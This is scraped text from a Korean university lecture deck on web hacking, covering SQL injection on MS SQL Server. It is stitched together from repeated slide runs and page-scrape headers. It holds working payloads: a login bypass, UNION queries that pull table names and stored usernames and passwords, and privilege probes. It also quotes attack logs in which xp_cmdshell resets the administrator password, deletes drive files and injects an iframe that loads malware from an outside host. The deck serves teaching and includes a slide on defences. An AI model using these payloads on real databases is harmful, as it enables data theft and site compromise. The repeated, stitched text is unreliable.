데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 34: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 35: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 36: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 37: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

